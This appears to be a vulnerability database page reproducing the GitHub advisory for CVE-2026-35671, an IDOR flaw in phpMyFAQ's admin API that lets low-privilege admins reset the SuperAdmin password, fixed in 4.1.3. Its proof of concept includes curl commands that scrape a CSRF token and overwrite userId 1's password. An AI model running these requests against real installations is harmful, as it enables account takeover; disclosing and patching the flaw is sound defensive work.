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Open-source package vulnerability · Composer (PHP)

CVE-2026-35671: phpMyFAQ: IDOR Account Takeover

highCVSS 3.1 8.8GHSA-xvp4-phqj-cjr3

Summary An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.

Published May 20, 2026 · Updated May 31, 2026

Affected packages

thorsten/phpmyfaq

Ecosystem
Composer (PHP)
Affected
< 4.1.3
Fixed in
4.1.3
Check
composer show thorsten/phpmyfaq

phpmyfaq/phpmyfaq

Ecosystem
Composer (PHP)
Affected
< 4.1.3
Fixed in
4.1.3
Check
composer show phpmyfaq/phpmyfaq

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password: #[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]

public function overwritePassword(Request $request): JsonResponse
{
    $this->userHasUserPermission();  // Only checks if user has USER_EDIT permission
    $currentUser = CurrentUser::getCurrentUser($this->configuration);
    $data = json_decode($request->getContent());
    $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT);  // User-controlled!
    $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
    $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
    $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
    if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
        return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
    }
    // NO check that $userId belongs to a user the admin should manage
    // NO check that target user has lower or equal privileges
    // Can overwrite password for ANY user, including SuperAdmin (userId=1)
    $currentUser->getUserById((int) $userId, allowBlockedUsers: true);
    $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
    if (hash_equals($newPassword, $retypedPassword)) {
        if (!$currentUser->changePassword($newPassword)) {
            return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
        }
        $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
        return $this->json(['success' => ...], Response::HTTP_OK);
    }
}

Root Causes:

  1. No verification that the requesting admin has permission to modify the target user's password
  2. No check that the target user has equal or lower privilege level
  3. The userId is taken directly from the request body without authorization context
  4. No multi-factor confirmation for privilege-escalating password changes

PoC

Prerequisites: Authenticated admin session with USER_EDIT permission

Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).

Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages:

curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'

Step 3 - Change SuperAdmin Password:

curl -X PUT -H "Content-Type: application/json" \
  -b "PHPSESSID=admin_session" \
  -d '{
    "userId": 1,
    "csrf": "admin_csrf_token_value",
    "newPassword": "NewSuperAdminP@ss123!",
    "passwordRepeat": "NewSuperAdminP@ss123!"
  }' \
  http://target/admin/api/user/overwrite-password

Response: {"success":"The password was successfully changed."}

Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ.

Who is Impacted:

  • Organizations with multiple admin users where not all should have SuperAdmin access
  • Any phpMyFAQ instance where privilege separation is configured
  • Multi-tenant environments where users should only manage their own accounts

Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission

Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions

Credited to cyberHunter127.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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